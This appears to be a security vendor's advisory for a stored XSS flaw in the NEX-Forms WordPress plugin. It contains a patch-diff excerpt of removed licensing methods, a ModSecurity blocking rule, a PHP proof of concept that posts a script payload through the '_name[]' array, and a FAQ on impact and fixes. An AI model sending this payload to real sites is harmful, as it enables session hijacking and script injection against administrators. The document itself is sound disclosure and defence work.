-			return $this->is_premium() && $this->is_paying_or_trial();
-		}
-
-		/**
-		 * Check if the user has an activated and valid paid license on current plugin's install.
-		 *
-		 * @since      1.0.4
-		 *
-		 * @return bool
-		 *
-		 * @deprecated Method name is confusing since it's not clear from the name the code will be removed.
-		 * @using      Alias to is_paying__premium_only()
-		 */
-		function is_paying__fs__() {
-			return $this->is_paying__premium_only();
-		}
-
-		/**
-		 * Check if user in a trial or have feature enabled license.
-		 *
-		 * All code wrapped in this statement will be only included in the premium code.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.1.9
-		 *
-		 * @return bool
-		 */
-		function can_use_premium_code__premium_only() {
-			return $this->is_premium() && $this->can_use_premium_code();
-		}
-
-		#endregion
-
-		#----------------------------------------------------------------------------------
-		#region Trial
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * Check if the user in a trial.
-		 *
-		 * @since 1.0.3
-		 *
-		 * @return bool
-		 */
-		abstract function is_trial();
-
-		/**
-		 * Check if trial already utilized.
-		 *
-		 * @since 1.0.9
-		 *
-		 * @return bool
-		 */
-		abstract function is_trial_utilized();
-
-		#endregion
-
-		#----------------------------------------------------------------------------------
-		#region Plans
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * Check if the user is on the free plan of the product.
-		 *
-		 * @since 1.0.4
-		 *
-		 * @return bool
-		 */
-		abstract function is_free_plan();
-
-		/**
-		 * @since  1.0.2
-		 *
-		 * @param string $plan  Plan name.
-		 * @param bool   $exact If true, looks for exact plan. If false, also check "higher" plans.
-		 *
-		 * @return bool
-		 */
-		abstract function is_plan( $plan, $exact = false );
-
-		/**
-		 * Check if plan based on trial. If not in trial mode, should return false.
-		 *
-		 * @since  1.0.9
-		 *
-		 * @param string $plan  Plan name.
-		 * @param bool   $exact If true, looks for exact plan. If false, also check "higher" plans.
-		 *
-		 * @return bool
-		 */
-		abstract function is_trial_plan( $plan, $exact = false );
-
-		/**
-		 * Check if plan matches active license' plan or active trial license' plan.
-		 *
-		 * @since  1.0.9
-		 *
-		 * @param string $plan  Plan name.
-		 * @param bool   $exact If true, looks for exact plan. If false, also check "higher" plans.
-		 *
-		 * @return bool
-		 */
-		function is_plan_or_trial( $plan, $exact = false ) {
-			return $this->is_plan( $plan, $exact ) ||
-			       $this->is_trial_plan( $plan, $exact );
-		}
-
-		/**
-		 * Check if plugin has any paid plans.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.7
-		 *
-		 * @return bool
-		 */
-		abstract function has_paid_plan();
-
-		/**
-		 * Check if plugin has any free plan, or is it premium only.
-		 *
-		 * Note: If no plans configured, assume plugin is free.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.7
-		 *
-		 * @return bool
-		 */
-		abstract function has_free_plan();
-
-		/**
-		 * Check if plugin is premium only (no free plans).
-		 *
-		 * NOTE: is__premium_only() is very different method, don't get confused.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.1.9
-		 *
-		 * @return bool
-		 */
-		abstract function is_only_premium();
-
-		/**
-		 * Check if module has a premium code version.
-		 *
-		 * Serviceware module might be freemium without any
-		 * premium code version, where the paid features
-		 * are all part of the service.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.2.1.6
-		 *
-		 * @return bool
-		 */
-		abstract function has_premium_version();
-
-		/**
-		 * Check if module has any release on Freemius,
-		 * or all plugin's code is on WordPress.org (Serviceware).
-		 *
-		 * @return bool
-		 */
-		function has_release_on_freemius() {
-			return ! $this->is_org_repo_compliant() ||
-			       $this->has_premium_version();
-		}
-
-		/**
-		 * Checks if it's a freemium plugin.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.1.9
-		 *
-		 * @return bool
-		 */
-		function is_freemium() {
-			return $this->has_paid_plan() &&
-			       $this->has_free_plan();
-		}
-
-		/**
-		 * Check if module has only one plan.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.2.1.7
-		 *
-		 * @return bool
-		 */
-		abstract function is_single_plan();
-
-		#endregion
-
-		/**
-		 * Check if running payments in sandbox mode.
-		 *
-		 * @since 1.0.4
-		 *
-		 * @return bool
-		 */
-		abstract function is_payments_sandbox();
-
-		/**
-		 * Check if running test vs. live plugin.
-		 *
-		 * @since 1.0.5
-		 *
-		 * @return bool
-		 */
-		abstract function is_live();
-
-		/**
-		 * Check if running premium plugin code.
-		 *
-		 * @since 1.0.5
-		 *
-		 * @return bool
-		 */
-		abstract function is_premium();
-
-		/**
-		 * Get upgrade URL.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.2
-		 *
-		 * @param string $period Billing cycle.
-		 *
-		 * @return string
-		 */
-		abstract function get_upgrade_url( $period = WP_FS__PERIOD_ANNUALLY );
-
-		/**
-		 * Check if Freemius was first added in a plugin update.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.1.5
-		 *
-		 * @return bool
-		 */
-		function is_plugin_update() {
-			return ! $this->is_plugin_new_install();
-		}
-
-		/**
-		 * Check if Freemius was part of the plugin when the user installed it first.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.1.5
-		 *
-		 * @return bool
-		 */
-		abstract function is_plugin_new_install();
-
-		#----------------------------------------------------------------------------------
-		#region Marketing
-		#----------------------------------------------------------------------------------
-
-		/**
-		 * Check if current user purchased any other plugins before.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.9
-		 *
-		 * @return bool
-		 */
-		abstract function has_purchased_before();
-
-		/**
-		 * Check if current user classified as an agency.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.9
-		 *
-		 * @return bool
-		 */
-		abstract function is_agency();
-
-		/**
-		 * Check if current user classified as a developer.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.9
-		 *
-		 * @return bool
-		 */
-		abstract function is_developer();
-
-		/**
-		 * Check if current user classified as a business.
-		 *
-		 * @author Vova Feldman (@svovaf)
-		 * @since  1.0.9
-		 *
-		 * @return

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-12142
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-12142 XSS via NEX-Forms _name[] array parameter',severity:'CRITICAL',tag:'CVE-2026-12142'"
SecRule ARGS_POST:action "@streq nex-forms_save_form" "chain"
SecRule ARGS_POST:_name "@rx <script[^>]*>" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12142 - NEX-Forms <= 9.2.2 - Unauthenticated Stored Cross-Site Scripting via '_name[]' Array Parameter

$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Replace with target URL

// Payload: simple XSS that will be stored
$xss_payload = '<script>alert("XSS by Atomic Edge")</script>';

// Build the POST data simulating a form submission with the vulnerable _name[] array
$post_data = array(
    'action' => 'nex-forms_save_form', // Assuming the AJAX action; adjust if different
    '_name' => array($xss_payload)       // Array parameter bypasses sanitization
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing

$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Request sent successfully.n";
    echo "Response: " . $response . "n";
    echo "nCheck the administrator dashboard to see if the XSS payload was stored.n";
}
curl_close($ch);
?>

Frequently Asked Questions

What is CVE-2026-12142?
Vulnerability Overview
CVE-2026-12142 is a stored cross-site scripting vulnerability in the NEX-Forms plugin for WordPress, versions 9.2.2 and earlier. It allows unauthenticated attackers to inject arbitrary JavaScript into form submissions, which executes when an administrator views the entries in the dashboard.
How does the vulnerability work?
Root Cause
The flaw is in the form submission handler. When the ‘_name[]’ parameter is sent as an array, the plugin skips sanitization and directly stores the value. The plugin’s allowed tags list includes dangerous HTML attributes like onClick and tags like , making XSS possible.
Who is affected by this vulnerability?
Affected Users
Any WordPress site using NEX-Forms version 9.2.2 or earlier is affected. Both unauthenticated visitors and authenticated users can be impacted, as the injected script runs in the context of an administrator viewing form entries.
How can I check if my site is vulnerable?
Detection
Check the NEX-Forms plugin version in your WordPress admin under Plugins. If it is 9.2.2 or lower, your site is vulnerable. You can also look for unexpected script tags in form entry data stored in the database.
What is the CVSS score and what does it mean?
Risk Level
The CVSS score is 7.2 (High). This indicates significant impact on confidentiality, integrity, and availability. An attacker can steal session cookies, deface the admin dashboard, or inject malicious content into pages viewed by site visitors.
How do I fix this vulnerability?
Patch and Mitigation
Update NEX-Forms to version 9.2.3 or later. The patch adds recursive sanitization for array inputs and restricts the allowed HTML tags. If you cannot update immediately, consider disabling the plugin or using a Web Application Firewall to block malicious payloads.
What does the proof of concept demonstrate?
PoC Explanation
The PoC sends a POST request with the ‘_name’ parameter as an array containing a JavaScript payload. Because the array path bypasses sanitization, the script is stored and executed when an admin views the form entry. This confirms the unauthenticated stored XSS.
Can an unauthenticated attacker exploit this?
Authentication Requirement
Yes, the vulnerability can be exploited by unauthenticated attackers. They only need to submit a crafted form to the vulnerable endpoint. No login or special privileges are required.
What is the impact of a successful exploit?
Consequences
An attacker can execute arbitrary JavaScript in the admin’s browser. This can lead to session hijacking, credential theft, defacement of the WordPress admin, or injection of malicious content into published pages affecting all site visitors.
What changes were made in the patch?
Patch Details
The patch introduces nf_recursive_sanitize() to sanitize array values, restricts the allowed HTML tags by removing dangerous attributes like onClick and onBlur, and adds nonce and capability checks to admin actions like CSV export.
How can I test if my site is patched?
Verification
After updating, verify the plugin version is 9.2.3 or later. You can also attempt the PoC with a test form; if the script is not stored or executed, the patch is effective. Always test in a staging environment.
Are there any temporary mitigations?
Workarounds
If you cannot update immediately, consider disabling the NEX-Forms plugin or using a Web Application Firewall with rules to block array parameters containing script tags. Restrict admin dashboard access to trusted users only.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started